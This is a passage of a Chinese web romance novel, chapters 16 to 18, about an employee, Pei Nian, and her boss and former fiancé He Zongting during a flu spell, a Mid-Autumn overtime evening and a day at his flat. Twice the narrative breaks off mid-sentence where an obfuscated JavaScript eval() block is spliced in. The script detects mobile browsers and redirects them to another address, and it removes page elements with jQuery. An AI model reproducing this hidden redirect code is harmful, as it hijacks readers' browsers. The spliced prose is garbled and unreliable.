经理一怔,想到不久前贺宗霆电话里说的“我做事不爱让人打听,有人问起来你就说是监控里看见的”。 “值班人员在监控里看到,就给我打了个电话。” 裴念听经理说完不疑有他,愧疚地对他说:“给你们添麻烦了。” 经理干笑两声:“您没事就行。” 回到会所内,裴念彻底没了玩的性质,她找到顾免简单说了下刚才的情况,就要自己打车回家。 顾免看出她情绪低落,不再和人聊天,放下酒杯说:“我送你回去。” 离开时,顾免让她在电梯间等着,自己去酒吧打探了一番,出来后告诉她:“你别伤心,听彭越说刚刚贺宗霆挺严肃地把他带走了,应该是真有事。” 真有急事,黄昇怎么也该和她解释一句。 可事实就是答案,黄昇根本懒得和她解释,也没那么想和她见面。 怕顾免担心自己,裴念勉强笑了笑:“我知道。” 会所的停车场就在大门前,灯光亮如白昼,因此站在车前的贺宗霆格外显眼。 裴念和顾免看到他,脚步皆是一顿,不明白他刚刚明明已经带着黄昇离开,为何又单独站在这儿。 顾免看了裴念一眼,朝贺宗霆寒暄:“贺总怎么还在这儿?我听彭越说你和黄总有事先走了。” 贺宗霆从手机上抬起眼:“等人。” 以顾免和贺宗霆的交情,不便再问,就点点头说:“那你忙。” 裴念亦步亦趋地跟在顾免身后,经过贺宗霆时,礼貌地点了个头,什么话都没说。 贺宗霆视线从她攥得皱巴巴的纸袋上掠过,转身上了车,等顾免她们的车开出停车场之后,吩咐司机回家。 / 自那天见面失败之后,她和H心照不宣地没再提这件事。 裴念听顾免说起黄昇按照计划和蒙姗相亲吃饭,之后就减少了和他的聊天。 而黄昇大概和蒙姗接触的不错,自那天起H没再和她发过消息。 好在情场失意,职场得意,从清尧镇回来后,裴念将笔记整理了一下,用那首《夜奔》做了个项目提纲。 杨泽看完觉得很有新意,让她放手去做,等之后开会看能不能被采纳。 裴念加起班来没日没夜,又逢九月几场秋雨落下来,气温骤降,流感肆虐,她第一个中招,拖拖拉拉一个星期都没好,工位上堆满了各类药品。 这天中午,裴念治疗喉咙发炎的喷剂用完,外卖软件上凑单下了两盒,下楼拿外卖时,正好碰见出差回来的贺宗霆和高理。 一周多没见,贺宗霆还是西装革履的模样,黑色短发一丝不苟,眉眼间的神情淡漠疏离。 裴念清了清喉咙,点头打了声招呼就要上楼。 贺宗霆却不冷不淡地叫住了她:“等等。” 连着一周出差,每天的日程被紧锣密鼓的工作填满,贺宗霆感觉自己的生活重新回到了正轨。 一直到今早回京的飞机上,他才有时间主动翻开和裴念的聊天框,最近的一条消息是两天前,她照例在睡前发来了一句晚安。 他当时在开一场国际会议,几个小时后的凌晨才看到,没有回复。 裴念便知趣的没再发来消息。 贺宗霆退出微信,决定到了公司就和裴念说清楚情况。 就像拨乱的棋子终该被摆回原位,他和裴念本就该只是上下属的关系。 裴念听到他的声音转过头来:“怎么了?贺总。” “跟我上楼拿个文件。”贺宗霆说着,率先进入公司大厅。 “好的。”裴念快步跟了上来,把手里的纸袋往身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364492|198240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后藏了藏。 贺宗霆低眸扫了眼,只来得及看清纸袋上药房的标志,眉心微微拢起。 才一周没见,她就生病了?什么病? 电梯门打开,贺宗霆收回视线抬脚进去,裴念进来后站到左侧的位置,和他隔着一个高理。 到了总裁办,贺宗霆在柜子里找文件。 裴念把纸袋拿到身前等着。 高理端来两杯温水,一杯放在办公桌,一杯递给裴念。 裴念道谢接过。 高理看清她手中纸袋上贴着的药单,随口道:“小裴,你是不是感冒了?” 裴念点点头,喉咙应景地发痒,她闷声咳了下,喝水压了下去。 高理朝拿着文件翻阅的贺宗霆看了眼,说:“贺总嗓子也疼好几天了,开会时说话都是哑的。” 裴念下意识问了嘴:“贺总,你也是病毒性感冒吗?” 贺宗霆掀眸觑了高理一眼,点头说嗯。 被高理一提醒,裴念才听出贺宗霆的嗓音确实比之前低沉粗砺一些,和她前两天的症状很相似。 病毒发起狠来,还真是无差别攻击。 裴念知道嗓子疼起来是什么感受,很是同情地打开纸袋,拿出一瓶喷剂朝他递了过去:“你要不要试试这个药,治疗嗓子痛立竿见影。” 贺宗霆翻阅文件的动作停下,垂眸朝她看。 裴念嘴角微扬,目光澄澈,一副善良真诚的模样。 她因为他哪个身份而送他药? 公司的老板,还是黄昇的朋友。 反正不会是因误会而暧昧两个多月的网聊对象。 贺宗霆喉结上下一滚,听见自己问:“真的有用?” “当然。”裴念指指自己的喉咙,像个热情负责的医生一样郑重其事向他推荐:“坚持喷一天就能好转大半。” 她看起来真心希望他快点好起来。 贺宗霆放下文件,拿过她手中的药盒,拆开,从里面拿出扁扁的药盒。 “怎么用?” 裴念指尖动了动给他示范:“对着喉咙痛的地方喷上去就好了。” 贺宗霆知道,开口时,话却变成了:“我没用过。” 裴念怔了一下,转头求助高理。 高理笑了笑:“我也没用过。”然后就端起托盘出了办公室。 裴念轻叹了一口气,从纸盒里掏出说明书,在桌面上铺开,让贺宗霆来看:“这有步骤,你看着做就行了。” 贺宗霆点头,拔开喷剂的盖子,对着喉咙就要喷。 “诶——”裴念皱着眉制止他,又把说明书朝他跟前推了推:“用之前要摇匀的啊,上面都写了。” 贺宗霆闻言再次朝说明书上看,修长有力的指尖捏着扁扁的绿色药瓶,一副不知道该拿它怎么样的架势。 这是个病人,裴念在心里劝完自己,无奈地问:“需要我帮忙吗?” 贺宗霆直接把药瓶放到了她的手里,离开时,修剪整齐的指甲在她手心划过。 裴念呼吸微顿:“你,你把嘴张开。” 贺宗霆指尖在桌面上点了点:“可能得麻烦你过来。” 隔着办公桌确实不好操作,裴念哦了一声,绕过桌子,走到他身前。 贺宗霆本就高大,坐在椅子内只消微微仰头便能和她对视。 离得太近,裴念甚至能看清他浅色瞳孔内的纹路。 呼吸一紧,她错开视线,瓮声道:“你闭上眼睛比较好,不然不小心喷到会很疼。” 贺宗霆看着她抖动的睫毛,语气轻缓地说:“行。” 裴念屏住呼吸,全神贯注给他喷药,按第一下的时候,没把握住力度,指尖碰到了他的唇瓣。 触感微凉而柔软。 她连忙抬手,对准他喉咙红肿的部位快速喷上药剂,往后退了一步才说:“贺总,可以了。” 贺宗霆闭上嘴巴,似是还没适应药物的存在,清咳了一声。 裴念解释道:“这个药刚喷上会有些刺激,过几秒药效开始就舒服了。” 贺宗霆点头,指骨在她碰过的下唇捻了捻。 “已经舒服了。” 17. 第 17 章 确定他没事,裴念马上退回了桌子后面,外套从桌角划过,把立在桌子上的喷剂撞倒。 裴念立刻伸手去扶,和同样伸手的贺宗霆指尖相撞,她倏地把手背在身后,甚至还朝后退了半步。 生怕再和他有任何接触一样。 贺宗霆拿起喷剂,下颌朝文件夹抬了下:“文件拿给你们总监。” 裴念“噢”了一声,拿起文件抱在胸前,语气恭恭敬敬:“要没别的事我就下去了。” 贺宗霆把喷剂放下,看着她低垂的眼睛,忽然想知道要是H生病,裴念会做出什么样的亲密反应。 他忽然对澄清乌龙感到索然无味,他现在想要的是,裴念能像对H那样对他。 贺宗霆靠向椅背,浅棕色的眼睛一眨不眨地看着她,幽幽道:“目前没了。” / 中秋佳节,公司放假三天。 放假前的晚上,裴念接到了周芸的电话,第一通她没接,周芸紧接着又打来了第二通,有种她不接就要一直打下去的意思。 裴念只好按下了接听键,电话那头环境虽然静谧,但周芸还是压低了声音,做贼一样问她:“念念,最近工作怎么样?” 自上次裴家家宴不欢而散,周芸好长一段时间没联系过她,忽然打来电话,还是像过去一样,仿若无事发生地和她聊近况。 裴念以前接她的电话总觉得委屈,现在倒是不会了。 她逗着玩尾巴的大壮说:“还不错。” “那妈妈就放心了。”周芸沉吟两秒,问她:“念念是不是放假了?” “嗯。” “那明天中午要不要和妈妈吃个饭,我叫司机去接你。” 裴念撸猫的动作顿了一下:“明天我和朋友约过了。” “是小免吗?”周芸问:“中秋节她不是得和家人一起过?” 顾免家随说经营娱乐公司,但家教传统,逢年过节家中小辈都得老老实实在家陪长辈。 裴念搪塞道:“是别的朋友。” 周芸愣了好一会儿才悻悻地问:“是最近新认识的吗?我都不知道…” 其实周芸不知道的事情有很多,她不仅交了很多新朋友,还收养了一只猫,在香港读书时甚至还练得了一手好厨艺。 可惜周芸每次给她打电话都匆匆忙忙,聊不了几句就得挂断。 裴念时常觉得自己是座被遗忘在郊外的旧房子,等着搬到新家的主人偶尔回来确认一下她的安危。 电话里静了几秒,裴念不想再等,也没更多的话说,就对周芸说:“我准备睡了。” “啊…好。”周芸卡顿地说:“那你早点睡。” 裴念挂断电话,又回了几条消息。 确实有没回老家的同事明天约她出去玩,但她最近一周加班太久,元气耗尽,假期只想在家好好补个觉,便拒绝了他们。 第二天裴念起床后吃了个早餐,又躺回床上睡了个回笼觉,再起床半斜的夕阳已经懒懒挂在窗外的枝头。 冰箱里食材告罄,打断了她原本要宅一天的计划,裴念去超市补完货,忽然想吃附近商业街卖的麻薯,把东西放回家之后,她又出门去买。 这么来回一折腾,街道上华灯初上,夜幕已然低垂。 裴念一下地铁就意识到不妙,灯光璀璨的商业街内人头攒动,有名气的商铺都排起了长队。 站在街边犹豫了几秒钟,她想着来都来了,不能白跑一趟,还是按照原计划去买麻薯。 排队等候的时候,裴念收到了张芮之发来的短信,让她帮忙转发一下灯展的活动,说是可以免门票。 裴念帮她转过后,又顺手刷了会儿朋友圈,退出去的时候,发现那里多了个小红点,她点开一看,H居然给她刚刚转发的活动点了个赞。 她呼吸一顿,点开和他的对话框,犹豫要不要说一声中秋快乐。 但一想到他今天肯定要和家人团聚,再不济也是和蒙家千金约会,大概是没时间和她发消息。 裴念苦涩地盯了几秒他的头像,退出了微信。 排在她前面的女孩忽然兴奋地和朋友说:“快看对面那辆车,车牌好逆天。” 女孩朋友夸张的哇了一声,不可置信地读了一遍车牌号:“这车牌比这豪车都值钱吧。” 裴念觉得车牌号耳熟,收起手机朝对面扫了一眼,正好看到那辆停下的库里南车门打开,一个身姿挺拔的男人走了下来,关车门时那人顺势抬了下头,远远和她对上了视线。 裴念没想到会在这儿偶遇贺宗霆,她愣了一秒,抬起手和他打招呼。 即便是假期,路上撞见老板,不打招呼说不过去。 可她看到库里南后面的车内下来裴建均一家后,抬了一半的手倏尔放下。 原来贺宗霆今晚是和裴家聚餐。 她转过头去,拿出手机翻看消息,没再朝对面看一眼。 / 管家下车,拉开后车门,扶着贺霖江下车。 贺宗霆把车门关上,不动声色问管家:“我怎么不知道今晚裴家也来?” 管家面露难色地朝贺霖江看了眼,才说:“裴总临时打来电话,说带了贺礼来,我不好拂了人家的意。” 贺宗霆嗯了一声,脸上不见喜怒,“我不想再见到这种事发生。” 贺霖江面色冷肃地甩了下袖子:“上楼。” 几句话的功夫,贺建均已经领着妻女凑了上来,谄笑着将礼品递到管家的手中。 裴锦亲亲密密地挽着周芸的手臂,母女俩笑得温柔,上前同贺宗霆寒暄。 贺宗霆看着这模范家庭似的一家人,嘴角没什么情绪地扯了扯,目光又朝对面拥挤的队伍投了去。 裴念已经彻底转过身去,侧对着他,裹着件米白色针织外套,低头看着手机,跟着缓慢挪动的队伍一点点朝前走,走得慢了些,冷不丁被身后男生撞了下,她脚下一个趔趄,站稳后,一转头却赧着脸向男生道歉,一副脾气好到任人欺负的模样。 可转身时,她眼睛掠过他的视线,就快速撇过头,假装什么都没看到。 贺宗霆眯了一下眼睛,没再看她,转身上了酒店的台阶。 知道贺宗霆一行人都进了酒店,裴念紧绷的情绪才放松下来,她不禁觉的自己运气差,连店内飘出的麻薯香气都变得不再诱人,甚至想干脆不排回家算了。 可她今天到现在只吃了一顿早饭,这会儿已经饿得饥肠辘辘,而且她已经排了半个小时的队,现在放弃太不划算,只好继续坚持。 仿佛和她开玩笑,在她下定决心继续排队时,队伍前进的速度却慢了下来。 随着夜色越来越深,从街道掠过的风也越来越喧嚣,她穿得针织外套挡不住风,凉意沿着缝隙窜入她的皮肤,不多时,她指尖的温度就降了下来。 又过了一会儿,排在她前面的其中一个女孩忽然望向她的身后,压低声音和朋友嘀咕着听不清的话,眼神却难掩兴奋之意。 裴念已经丧失了对其他事物的兴趣,两耳不闻窗外事,抱着手机专注看着麻薯店的门头排队。 随着前面女孩眼睛越瞪越大,裴念终于意识到什么,微微侧头,才看到一丝不苟的衬衫领口,头顶就响起贺宗霆不冷不淡的声音。 “等会儿有事么?” 裴念抬眸看向他,怔忡了好几秒才反应过来他在问什么,莫名其妙地说:“没事啊。” 她朝对面的酒店门头看了眼:“贺总,你不是在对面吃饭吗?” 贺宗霆双手插着兜,似笑非笑地反问:“我还以为你没看到我。” 裴念抿了抿嘴唇,嗫嚅着没说话。 贺宗霆不再废话,言简意赅地说:“我等下和周总有个局,高理放假了,你顶一下?” 原来是叫她加班来了。 人倒霉起来还真是没头,裴念面露苦涩,把等号的小票递给他看:“可以等我先把麻薯买了吗?” 贺宗霆却不由分说把小票从她手中抽走了。 裴念以为他这是不同意,丧气地走出队伍,“不行就算了。” 贺宗霆却没动,下巴朝对面的咖啡店点了点:“去里面坐着,我等。” 裴念心道他还算有点良心,但又觉得让老板帮自己排队属实不妥,她小声道:“要不还是我自己排——” “你想流着鼻涕跟我去见客户?”贺宗霆不耐地打断她的话。 “……”裴念还能说什么,她小声吸了吸鼻子,果断去了对面的咖啡店。 老板帮自己排队买麻薯,咖啡自然不能只买自己的,裴念进到店内毫无防备地看着展示牌点了两杯招牌拿铁,结账时,看着一百三十八的账单,咬着牙扫了码,她忍不住又给自己今晚的倒霉程度加了一级。 裴念拿着两杯咖啡从店内出来的时候,贺宗霆正好拿着新鲜出炉的麻薯找了过来。 走去停车场的路上,她一直闷闷不乐,上了车之后,她把其中一杯咖啡递给贺宗霆:“我给你也买了一杯。” 贺宗霆敲了下中控台,示意她放杯架内。 裴念固执地拿着咖啡杯劝喝:“你要不要先尝一口,这是那家店的招牌拿铁,一杯要六十八块钱呢。” 贺宗霆拧钥匙的动作停下,嗤笑地看着她:“道德绑架我?” 裴念吞了吞喉咙:“不敢。” “是么。”贺宗霆从她手中接过咖啡杯,慢条斯理抿了一口,才想起来似的说:“忘了告诉你,今晚十倍加班费。” 裴念被突如其来的好运气砸得发懵,怔怔道:“你不是在开玩笑吧?” 贺宗霆挑眉:“我跟你开过玩笑?” “没有。”裴念摇头,当即露出由衷的笑容,奉承的话张口就来:“贺总金口玉言。” 贺宗霆失笑:“平常不见你嘴这么甜。” 裴念从善如流:“以后一定注意。” 杯架就在手边,贺宗霆却把杯子递给她,征求她的意见一样问:“现在可以走了?” “可以可以。”裴念双手接过,指尖在他手背上贴了一下也没有察觉。 和周总约的餐厅不远,一路上,裴念尽职尽责扮演老板的杯架,下了车也稳稳端在手中,等着贺宗霆什么时候喝再贴心地拿给他。 贺宗霆提前预约包厢,进门报过名字,服务生领着他们进入电梯。 裴念走在贺宗霆身侧,进电梯时,喝了口咖啡。 贺宗霆余光看见,忽道:“你喝的好像是我那杯。” 咖啡还未咽下去,被他的话一下,顺势呛进喉管,裴念发出一连串的咳嗽声,完毕一脸窘迫地说:“对不起贺总,我没注意,再给你买一杯可以吗?” 贺宗霆好心地拍了拍她的背,先是看了眼她手中的咖啡杯上的标签,又对上她因咳嗽而发红的眼睛:“ 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她心中暗暗咋舌,这周总真是好大的面子,她还没听说过圈内有谁让贺宗霆等这么久的。 裴念悄悄看了一眼贺宗霆,却见他目光平静,脸上不带任何愠意。 这时,他的手机铃声响起,贺宗霆起身到包间外去接。 房间门隔音很好,裴念只听到几声脚步声,就再听不到其他动静。 她想应该是周总到了,一分钟后门再次被打开,裴念从椅子上起身,准备和周总打招呼,却只见贺宗霆一人进来。 “周总还没来吗?”她不仅惊讶。 贺宗霆把门关上,脸色不辨喜怒:“他家临时有事,来不了了。” 裴念睁圆了眼睛:“那怎么办?菜都上了啊。” “能怎么办。”贺宗霆抬了下眉毛,这次坐到了她对面,从餐架上取下两双筷子,其中一双递给她:“吃了。” 裴念讷讷接过筷子,却没打开:“这不太好吧。” 贺宗霆已经往餐盘上夹了道蔬菜:“不然只能倒了。” 点菜的时候,裴念看到了价格,是她从前在裴家时也觉得昂贵的水平,她做不到平白浪费大几万块,只好听从贺宗霆的意见,拿起了筷子吃饭。 安安静静吃了一会才之后,裴念忽然意识到一个严重的问题,放下筷子,试探地问道:“贺总,既然周总没来,今天…还算加班吗?” 贺宗霆将菜咽下去,说:“算,但吃完饭你的工作还没结束。” “好的。”裴念放下心来:“等下去要去做什么?” 贺宗霆:“灯展。” 裴念彻底呆住,不明白加班是怎么和灯展扯上关系的。 她想了想,问:“是要陪客户去看吗?” 贺宗霆这次没立刻回答,他缓缓转了一下玻璃杯,看着她的眼睛说:“就我们。” 裴念看着他金棕色的眸子,呼吸不自觉慢了下来,不理解地重复他的话:“就我们?” 贺宗霆手肘撑着桌面,靠她近了些,低沉的嗓音拖得很慢:“不行?” 裴念拿筷子的指尖蜷紧,张了张口,没说出话来。 贺宗霆轻笑一声:“灯展附近有车展,你跟我去调研。” 裴念暗暗送了一口气,端起杯子喝了几口水,闷声说:“贺总,你下次说话能不能直接说完呢?” 贺宗霆不以为意地挑眉:“等你下次跟我出去再说。” 吃完饭从包间出来的时候,裴念着手查车展的信息,提前将此次参加展览的车牌一一记在备忘录里。 到停车场的时候,裴念仍专注地写备忘录,听到道路对面传来的男性的谈笑声时,她觉得声音有些熟悉便抬起头看,就见彭越和三两圈内二代勾肩搭背地朝他们的方向走来。 眼看就要和他们撞上。 裴念脑海忽然闪现上次在俱乐部见到他们的场景,即便隔得远,裴念仍能看出彭越他们在开她和贺宗霆的玩笑。 她一直信奉解释不清就躲着的原则,没想到今天意外和贺宗霆出来,竟直接撞见圈内这些人。 要是被他们看到自己和贺宗霆单独出现在餐厅,明天关于她的谣言又得更新迭代。 而贺宗霆却像是没看到彭越一般,双手插兜继续走。 裴念心一横,拉上他的手臂,将他拽到了一辆SUV旁边蹲了下来。 车下阴影将他们全然覆盖。 贺宗霆看着她,嘴唇才动了动,听到逐渐逼近的脚步声,裴念想也没想伸手捂住了他的嘴巴。 彭越和朋友的身影很快从SUV边上走过,又等了将近半分钟,接连几声跑车的轰鸣声响起,停车场再次恢复寂静。 裴念才把捂着贺宗霆嘴巴的手放了下来,就听他质问道:“躲什么?” “被他们看到我们单独在一起肯定又要乱传绯闻。” 裴念一直知道他讨厌这些无中生有的谣言,因此笃信贺宗霆会理解她的做法。 可贺宗霆却问:“老板带下属出来工作算哪门子绯闻?” 裴念被他的话卡住,一时间没想道反驳的话。 贺宗霆靠近她的耳畔,又问:“还是说你心里有鬼?” 18. 第 18 章 她对贺宗霆心里有鬼? 开什么玩笑! 裴念蓦地后退一步:“我可没有,你别污蔑我,我对你可是清清白白什么想法都没有!” 她急于证明自己,甚至幼稚地说出:“你要实在不信,我可以给你写个保证书。” 贺宗霆不知道信没信她,脸色沉沉看了她几秒,语调没有任何情绪地说:“看展去。” 巴不得赶紧将这事翻篇的裴念忙不迭点头:“走吧。” 车展占据会展中心一楼大厅和整个背面广场,主要展出各大品牌推出的新车型,乍眼望过去,不比来看灯展的游客少。 贺宗霆将车停到地下车库,带裴念坐电梯直达会展中心的入口。 他们拿的是VIP邀请函,工作人员验完票,经理直接过来要为他们单独服务,贺宗霆却说不用,带着裴念进入了车展内部。 裴念不解地问:“贺总,你为什么不让经理跟着?等下我们有什么不懂的地方可以直接问他啊。” 贺宗霆视线从四周的展示牌掠过:“不需要。” 裴念以为他来只是随便转转,观察一下市场,就没再多问。 怕干逛冷场,裴念把刚刚在手机上做的笔记打开,每逛到一个车牌,她都和贺宗霆介绍一番并说几句自己的见解,他听完也会同她讨论几句。 聊了一会儿,裴念才蓦然发现,贺宗霆确实不需要经理带领逛展,他对此次车展展出的每辆车的性能和优缺点都了如指掌,显然是提前做足了功课。 裴念不禁感到紧张,怕在贺宗霆面前露怯,但信息的匮乏让她很快在交谈中落入了下风,幸而贺宗霆并未对此表达任何不满,自然地接过介绍的任务,边走边和她讲解。 她珍惜这次学习机会,接下来的时间记笔记的动作就没停下来过。 不知不觉逛完整个车展,时间已经过去了一个多小时。 走到大门边的休息区时,贺宗霆停下来接了一通电话,裴念去一旁的自动贩卖机买了两瓶矿泉水,等贺宗霆挂断电话,她将其中一瓶递了过去。 贺宗霆接过拧开喝了一口,低头扫向她手机屏幕上的笔记界面:“觉得这些车都有什么问题?” 裴念上下翻动了一下笔记,沉吟了几秒钟,不确定地说:“保守?” “对。”贺宗霆目露赞同:“不仅是车本体,营销方向也保守。” 裴念信心大增,大胆说出公司的问题:“但我们这次要推出的R3相较于R2也偏保守,我甚至看到有汽车领域的博主预测R3一定是在挤牙膏。” 贺宗霆笑了一下,对这个评价并不在意:“汽车技术革新本就难,牙膏挤出来有效就行。” 裴念点头表示理解,指尖因思考而轻搓瓶盖:“这样的话我们的竞争力会弱一点。” 贺宗霆抽走她的矿泉水瓶,拧松瓶盖后又递还给她:“这不是你们广告部需要考虑的问题。” 裴念意识到他误会自己拧不开瓶盖,但解释已经太晚,她自然地接过水瓶道了声谢:“我们只要把控好广告质量就行。” 贺宗霆嗯了一声,问她:“你觉得广告是做什么的?” 在接到跃维的面试之前,裴念就想清楚了这个问题,因此她丝毫没有犹豫地说了出来: “造梦。” “造势。” 贺宗霆也在同一时间给出了他的答案。 裴念怔了怔,觉得自己的回答略有些孩子气,脸颊微热地奉承:“好像你说的更准确一些。” “意思一样。”贺宗霆一手拿矿泉水瓶,一手插兜,淡淡垂眸看她:“你的说法更浪漫。” “我喜欢。” 为方便游客看清车的细节,会展中心内灯光亮如白昼,贺宗霆锋利的轮廓被强光削弱,瞳孔比平日里看起来更浅,看着人时有种平易近人的错觉。 裴念错开视线,清清喉咙道:“谢谢。” 在休息区耽搁片刻,他们赶上了闭馆的高峰期,随着乌泱泱的人潮下到停车场的时候,时间已经来到晚上十点半。 这个时间段和地点,打车实在不易,更何况她今晚是临时被叫来加班,裴念没有推脱就坐上了贺宗霆的车,让他送自己回家。 从停车场出来,贺宗霆驱车拐进会展中心前广场的大路,裴念的手机提示偏离导航,她连忙提醒他:“走错路了,应该右拐的。” 贺宗霆已经把车并入左转的车道:“那就绕一段。” “好的。”车子跟着车流挪动片刻,裴念余光扫到车窗外辉煌的灯火,小声发出惊呼:“哇,这条路正好经过灯展。” 贺宗霆扬起眉毛:“看来我们运气不错。” 听出他语气中的笑意,裴念觉出自己刚刚的行为过于幼稚,附和一句后,在座位上坐好,只眼睛不住朝窗外瞥。 可惜车窗贴了防窥膜,影响了花灯的色彩,裴念正在心里可惜,眼前的车窗倏尔降了下来。 她眸光一晃,下意识朝贺宗霆看去。 “想看就直接看。”贺宗霆神色平淡地开着车。 裴念在心里给他加了些印象分,真诚的说了声谢谢,不仅大看特看,还拿出手机拍了几张照片,发了个朋友圈,期待H看到能再给她点个赞。 可惜一直到轿车开到她家所在的小区,H都没有动静。 贺宗霆把车停在楼下,裴念才失望收起手机。 她没精打采的道了声谢,打开车门下车。 贺宗霆朝她停留在微信界面的屏幕看了眼,问:“明天有时间么?” 裴念转头:“有什么事吗?” 贺宗霆:“来帮我整理资料。” 裴念:“高助理——” 贺宗霆:“在休假。” 裴念:“……” 她脑海中天人交战,虽然她觊觎十倍的加班费,但却不想和老板一直单独相处,她缓声道:“可我明天有——” 贺宗霆指尖敲了敲键盘,打断她的话:“加班费二十倍,确定不来?” / 第二天早晨八点钟,裴念准时敲响贺宗霆的家门。 门铃声响完,门内响起几不可闻的脚步声。 十几秒过后,大门从内拉开,穿着轻薄运动服的贺宗霆出现在门内。 他把门开大,拉开橱柜给她找出一双新的拖鞋,扔到她脚边后说:“这么积极?” 他应该是刚运动完,灰色运动短袖领口被汗水湿透,锋利的喉结上有汗水划过,在清晨的光线下微微反光。 裴念垂下眼睛走进玄关,在他身旁的鞋凳上坐下换鞋,小声说:“就是这么热爱工作。” “不用急。”贺宗霆轻笑了声,等她换完鞋,带她走进厨房的岛台:“喝点什么?” 裴念看到岛台上一应俱全的冲咖啡和泡茶的机器,走上前道:“我来弄吧。” 贺宗霆没跟她客气,简单说了自己对咖啡的要求后就去浴室洗澡。 “无糖,加冰。”裴念嘴里念叨着他对咖啡简单的要求,洗完手去查看工具,她目光挨个从昂贵的咖啡机上掠过,最终选择了咖啡冻干,给贺宗霆做了杯速溶。 贺宗霆洗澡速度很快,裴念才收拾完岛台,他已经换了身家居服从浴室出来。 裴念端着咖啡迎过去:“贺总,给你咖啡。” 贺宗霆接过杯子,抿了一口遂皱起眉头:“速溶的?” 裴念忐忑点头。 贺宗霆下颌朝咖啡机一扬:“不会用?” 裴念:“…会。” 贺宗霆:“呵。” 裴念闷头去岛台:“我马上给您重新冲一杯。” “算了,凑合喝。”贺宗霆伸手把她拽回来,领着她去书房。 裴念拎上电脑跟上,嗫嚅道:“你什么时候想喝我再去做。” 这是裴念第一次来贺宗霆自己的住所,去书房的路上她四处张望了一圈,这套偌大的公寓和贺家老宅古朴的装潢截然不同,装修以深灰色为主,除了必要的家具,几乎看不到任何装饰,比起家,更像是奢华的酒店。 到书房之后,贺宗霆把需要整理的资料拿给她,自己坐到了书桌后方办公。 裴念抱着资料到沙发上坐下,开始一册册翻看整理。 书房隔音很好,除了墙上挂着的时钟传来的滴答声,整个房间内只听得到贺宗霆打字的声音和她翻动纸页的响动。 预想中的尴尬相处并不存在,贺宗霆没有给她任何压力,甚至都没叫过她几次。 裴念觉得这二十倍的加班费挣得太容易,心里过意不去,贺宗霆说休息时,她主动去给他添咖啡。 本以为他那么嫌弃,杯子里的速溶咖啡一定还剩很多,裴念去拿的时候却发现他的马克杯内空空如也。 贺宗霆把速溶咖啡喝得一滴不剩。 呵,男人。 这不是什么都能喝吗? 她默不作声朝去阳台接电话的贺宗霆身上瞥了眼,去厨房又给他续了一杯速溶。 等贺宗霆再次回到办公室,裴念一边整理资料,一边偷瞄他的动作。 贺宗霆端起杯子喝下一口咖啡,表情冷淡地睨她:“我脸上有字儿?”这次没有对速溶咖啡表达任何不满。 “没有。” 裴念正色看资料,心中暗自窃喜,作为老板的贺宗霆,可比作为未婚夫时好糊弄多了。 / 临近中午,家政阿姨有急事请假,没办法来做午饭。 贺宗霆挂断电话之后,给常吃的私房餐厅打去电话要来今日的菜单,让裴念点菜。 裴念看到菜单认出是昨天请周总吃的那家餐厅,价格昂贵到只适合商务宴请,她随手翻了翻,提议道:“餐厅送过来太麻烦了,不然我做吧。” 贺宗霆不是很信任地问:“你会?” 裴念想起以前同贺家聚餐,周芸为了缓和气氛说她同保姆学做饭把锅熬干的轶事,当时她窘得满脸通红,磕磕绊绊地说“我多练习几次就不会这样了”。 她还记得当时贺宗霆面无表情地说“不想做就别做,家里有阿姨”。 裴念那时候面对他总有些发怯,发觉得他嫌弃自己,也只敢沉默埋头。 而今时不同往日,裴念现在脱离了他未婚妻的身份,和他相处反倒自然得多,她清了清嗓子说:“我在香港租房的时候,每次做饭隔壁三家邻居都抢着来吃。” 贺宗霆听出她语气中的自得,从椅子内站起身:“裴大厨介不介意我观摩?” 裴念嘴贫:“你能忍住中途不吃的话。” 贺宗霆顺着她的话开玩笑:“我尽量。” 到厨房之后,裴念开始后悔自己刚刚夸下海口,回京之后她太久没下厨,加上不是熟悉贺宗霆家厨房的环境,仅仅只是备菜阶段就有两片胡萝卜从她刀下飞出。 她低头地去捡,目光不由地瞥向厨房对面沙发上坐着的贺宗霆。 好在他口中的观摩只是说说而已,贺宗霆倚着沙发靠背,随手翻着一本财经杂志,注意力并未放在她身上。 意识到没人盯着自己,裴念自在许多,继续做菜时更加顺手。 锅一热,她拿起油壶往锅内倒,却发现壶内油已经见底,她依照柜子上贴着的标签,找到了放橄榄油的橱柜,打开之后却发现橄榄油放的位置太靠里,她指尖勉强能摸到瓶身。 她正垫着脚努力去够,背后蓦然响起一道脚步声,还没等她回头,贺宗霆已经伸手从橱柜里拿出了一瓶新的橄榄油放到了流理台上。 裴念转过身,觉得他靠得有些近,身体后仰着说:“谢谢。” 贺宗霆却完全没意识到他们之间过近的距离,朝她微微躬身,视线越过她的肩膀去看她身后台面上的菜。 裴念眼前光线被他遮掉大半,呼吸间不再只有时蔬的清甜,还伴随着他身上沐浴之后清淡的气息。 看到她手边即将进锅的一盒青菜,他问:“要炒西兰苔?” 裴念顿了一下才反应过来他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393828|198240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话:“对,我记得你以前喜欢吃。” 贺宗霆缓缓勾起唇角:“记这么清楚?” 裴念觉得自己脸热了,怕贺宗霆看出来,掩饰地挠了一下耳朵:“对…我记性比较好。” 贺宗霆没说话,似笑非笑看着她,仿佛要把她看穿。 